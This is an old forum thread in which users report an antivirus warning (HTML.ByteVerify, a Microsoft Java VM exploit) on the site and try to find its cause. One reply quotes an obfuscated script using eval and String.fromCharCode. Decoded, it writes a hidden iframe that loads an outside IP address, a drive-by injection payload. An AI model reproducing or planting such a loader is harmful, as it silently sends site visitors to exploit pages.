there is a virus here

peppers · Post by **peppers** » Sun Nov 21, 2004 8:27 pm

starting today every time I go to this site the virus scan finds a HTML.ByteVerify.exploit trojan

it is possiple a someone put this in without premission but please get rib of it

discription

This is not a virus, but rather a method to exploit a security vulnerability in the Microsoft Virtual Machine. This vulnerability arises as the ByteCode verifier in the Microsoft Virtual machine does not correctly check for the presence of certain malformed code when a Java applet is loaded. Attackers could exploit this vulnerability by creating malicious Java applets and inserting them into web pages. These web pages could be hosted on a site by a malicious web master, or could be sent to users as an attachment. To read more about this issue, and to download the necessary patches, please visit:

http://www.microsoft.com/technet/securi ... 3-011.mspx

For more information, or for examples of this exploit in action, please see the description of the following malware (found elsewhere in the encyclopedia):

Java. Shinwow

Post by **gannon** » Sun Nov 21, 2004 8:31 pm

which page exactly do you get that report from?

peppers · Post by **peppers** » Sun Nov 21, 2004 8:34 pm

http://www.benheck.com/Games/Videogame%20Forums.htm

edit: or the real location
http://benheck.com/ipw-web/bulletin/bb/index.php

goodie · Post by **goodie** » Sun Nov 21, 2004 9:05 pm

One of IE's kazillion vulnerabilties....

You won't have this problem if you use a browser other than IE.

Guest · Post by **Guest** » Sun Nov 21, 2004 9:06 pm

microsofts java can be used in the outher browsers also

Post by **gannon** » Sun Nov 21, 2004 9:25 pm

I assume this problem is caused by the popup javascript for new private messages, turn off that option and it might be fixed.

Guest · Post by **Guest** » Sun Nov 21, 2004 9:36 pm

im not 100% cause I forgot almost everything I knew about html script but I think this is it <script language='applet codescript'>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,102,114,97,109,101,32,98,111,114,100,101,114,61,48,32,119,105,100,116,104,61,48,32,104,101,105,103,104,116,61,48,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,32,115,114,99,61,39,104,116,116,112,58,47,47,49,57,53,46,50,50,53,46,49,55,55,46,49,51,47,49,48,48,48,48,54,47,39,62,60,47,105,102,114,97,109,101,62,34,41))</script><br />

peppers · Post by **peppers** » Sun Nov 21, 2004 9:40 pm

gannon wrote:I assume this problem is caused by the popup javascript for new private messages, turn off that option and it might be fixed.

wouldint you have to be loged in for that to be there its still happins when your are not loged in and it onley started this morning (as far as I know

and that above was me and now that I terned my brain back on I no longer think that is the cause

Post by **gannon** » Sun Nov 21, 2004 9:53 pm

no clue then, go to the main phpbb website and ask if any of the people who actually made the script know if it's a bug or something

Peppers1 · Post by **Peppers1** » Sun Nov 21, 2004 10:38 pm

oww well I will just never log in again

NeoGoldenBoy · Post by **NeoGoldenBoy** » Mon Nov 22, 2004 1:40 am

I got the same message somewere here, Panda Antivirus blocked it.

HK-47 · Post by **HK-47** » Mon Nov 22, 2004 1:50 pm

Im using firefox and Im not getting anything. (Though Im using linux so that might have someting to do with it.)

Peppers1 · Post by **Peppers1** » Mon Nov 22, 2004 1:56 pm

it definatley is on that page

NeoGoldenBoy · Post by **NeoGoldenBoy** » Tue Nov 23, 2004 1:30 pm

It is on the forum page, also it says:
"Subprogram Counter started"

There's sure a virus here.

stereth · Post by **stereth** » Tue Nov 23, 2004 10:19 pm

getfirefox.com